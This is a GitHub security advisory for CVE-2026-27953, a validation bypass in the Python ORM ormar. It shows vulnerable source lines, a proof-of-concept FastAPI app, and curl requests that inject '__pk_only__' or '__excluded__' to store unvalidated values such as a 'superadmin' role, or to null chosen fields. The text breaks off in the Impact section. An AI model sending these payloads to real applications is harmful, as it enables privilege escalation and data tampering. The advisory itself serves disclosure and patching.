GitHub Advisoryadvisory · PyPI

GHSA-f964-whrq-44h8 ormar Pydantic Validation Bypass via __pk_only__ and __excluded__ Kwargs Injection in Model Constructor

HIGH Published 2026-03-19 Modified 2026-03-20 Official page ↗
Aliases
CVE-2026-27953
Ecosystem
PyPI
Packages
ormar
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Weaknesses
CWE-20
Reviewed
2026-03-19

Affected packages

• PyPI ormar: < 0.23.1 → fixed in 0.23.1

Description

Summary A Pydantic validation bypass in `ormar`'s model constructor allows any unauthenticated user to skip all field validation — type checks, constraints, `@field_validator`/`@model_validator` decorators, choices enforcement, and required-field checks — by injecting `"__pk_only__": true` into a JSON request body. The unvalidated data is subsequently persisted to the database. This affects the canonical usage pattern recommended in ormar's official documentation and examples. A secondary `__excluded__` parameter injection uses the same design pattern to selectively nullify arbitrary model fields during construction. Details Root cause: `NewBaseModel.__init__` (`ormar/models/newbasemodel.py`, line 128) pops `__pk_only__` directly from user-supplied `kwargs` before any validation occurs: ```python ormar/models/newbasemodel.py, lines 128-142 pk_only = kwargs.pop("__pk_only__", False) # ← extracted from user kwargs object.__setattr__(self, "__pk_only__", pk_only) new_kwargs, through_tmp_dict = self._process_kwargs(kwargs) if not pk_only: # Normal path: full Pydantic validation new_kwargs = self.serialize_nested_models_json_fields(new_kwargs) self.__pydantic_validator__.validate_python( new_kwargs, self_instance=self ) else: # Bypass path: NO validation at all fields_set = {self.ormar_config.pkname} values = new_kwargs object.__setattr__(self, "__dict__", values) # raw dict written directly object.__setattr__(self, "__pydantic_fields_set__", fields_set) ``` The `__pk_only__` flag was designed as an internal optimization for creating lightweight FK placeholder instances in `ormar/fields/foreign_key.py` (lines 41, 527). However, because it is extracted from `kwargs` via `.pop()` with a `False` default, any external caller that passes user-controlled data to the model constructor can inject this flag. Why the canonical FastAPI + ormar pattern is vulnerable: Ormar's official example (`examples/fastapi_quick_start.py`, lines 55-58) recommends using ormar models directly as FastAPI request body parameters: ```python @app.post("/items/", response_model=Item) async def create_item(item: Item): await item.save() return item ``` FastAPI parses the JSON body and calls `TypeAdapter.validate_python(body_dict)`, which triggers ormar's `__init__`. The `__pk_only__` key is popped at line 128 before Pydantic's validator inspects the data, so Pydantic never sees it — even `extra='forbid'` would not prevent this, because the key is already consumed by ormar. The ormar Pydantic `model_config` (set in `ormar/models/helpers/pydantic.py`, line 108) does not set `extra='forbid'`, providing no protection even in theory. What is bypassed when `__pk_only__=True`: • All type coercion and type checking (e.g., string for int field) • `max_length` constraints on String fields • `choices` constraints • All `@field_validator` and `@model_validator` decorators • `nullable=False` enforcement at the Pydantic level • Required-field enforcement (only `pkname` is put in `fields_set`) • `serialize_nested_models_json_fields()` preprocessing Save path persists unvalidated data to the database: After construction with `pk_only=True`, calling `.save()` (`ormar/models/model.py`, lines 89-107) reads fields directly from `self.__dict__` via `_extract_model_db_fields()`, then executes `table.insert().values(self_fields)` — persisting the unvalidated data to the database with no re-validation. Secondary vulnerability — `__excluded__` injection: The same pattern applies to `__excluded__` at `ormar/models/newbasemodel.py`, line 292: ```python excluded: set[str] = kwargs.pop("__excluded__", set()) ``` At lines 326-329, fields listed in `__excluded__` are silently set to `None`: ```python for field_to_nullify in excluded: new_kwargs[field_to_nullify] = None ``` An attacker can inject `"__excluded__": ["email", "password_hash"]` to nullify arbitrary fields during construction. Affected entry points: | Entry Point | Exploitable? | |---|---| | `async def create_item(item: Item)` (FastAPI route) | Yes | | `Model.objects.create(user_dict)` | Yes | | `Model(user_dict)` | Yes | | `Model.model_validate(user_dict)` | Yes | PoC Step 1: Create a FastAPI + ormar application using the canonical pattern from ormar's docs: ```python app.py from contextlib import asynccontextmanager import sqlalchemy import uvicorn from fastapi import FastAPI import ormar DATABASE_URL = "sqlite+aiosqlite:///test.db" ormar_base_config = ormar.OrmarConfig( database=ormar.DatabaseConnection(DATABASE_URL), metadata=sqlalchemy.MetaData(), ) @asynccontextmanager async def lifespan(app: FastAPI): database_ = app.state.database if not database_.is_connected: await database_.connect() # Create tables engine = sqlalchemy.create_engine(DATABASE_URL.replace("+aiosqlite", "")) ormar_base_config.metadata.create_all(engine) engine.dispose() yield database_ = app.state.database if database_.is_connected: await database_.disconnect() app = FastAPI(lifespan=lifespan) database = ormar.DatabaseConnection(DATABASE_URL) app.state.database = database class User(ormar.Model): ormar_config = ormar_base_config.copy(tablename="users") id: int = ormar.Integer(primary_key=True) name: str = ormar.String(max_length=50) email: str = ormar.String(max_length=100) role: str = ormar.String(max_length=20, default="user") balance: int = ormar.Integer(default=0) Canonical ormar pattern from official examples @app.post("/users/", response_model=User) async def create_user(user: User): await user.save() return user if __name__ == "__main__": uvicorn.run(app, host="127.0.0.1", port=8000) ``` Step 2: Send a normal request (validation works correctly): ```bash This correctly rejects — "name" exceeds max_length=50 curl -X POST http://127.0.0.1:8000/users/ \ -H "Content-Type: application/json" \ -d '{ "name": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "email": "[email protected]" }' Returns: 422 Validation Error ``` Step 3: Inject `__pk_only__` to bypass ALL validation: ```bash curl -X POST http://127.0.0.1:8000/users/ \ -H "Content-Type: application/json" \ -d '{ "__pk_only__": true, "name": "", "email": "not-an-email", "role": "superadmin", "balance": -99999 }' Returns: 200 OK — all fields persisted to database WITHOUT validation • "name" is empty despite being required • "email" is not a valid email • "role" is "superadmin" (bypassing any validator that restricts to "user"/"admin") • "balance" is negative (bypassing any ge=0 constraint) ``` Step 4: Inject `__excluded__` to nullify arbitrary fields: ```bash curl -X POST http://127.0.0.1:8000/users/ \ -H "Content-Type: application/json" \ -d '{ "__excluded__": ["email", "role"], "name": "attacker", "email": "[email protected]", "role": "will-be-nullified" }' Returns: 200 OK — email and role are set to NULL regardless of input ``` Impact Who is impacted: Every application using ormar's canonical FastAPI integration pattern (`async def endpoint(item: OrmarModel)`) is vulnerable. This is the primary usage pattern documented in ormar's official examples and documentation. Vulnerability type: Complete Pydantic validation bypass. Impact scenarios: • Privilege escalation**: If a mod…

Related

Alias · CVE (1)

Weakness · CWE (1)

  • CWE-20 Improper Input Validation weakness

References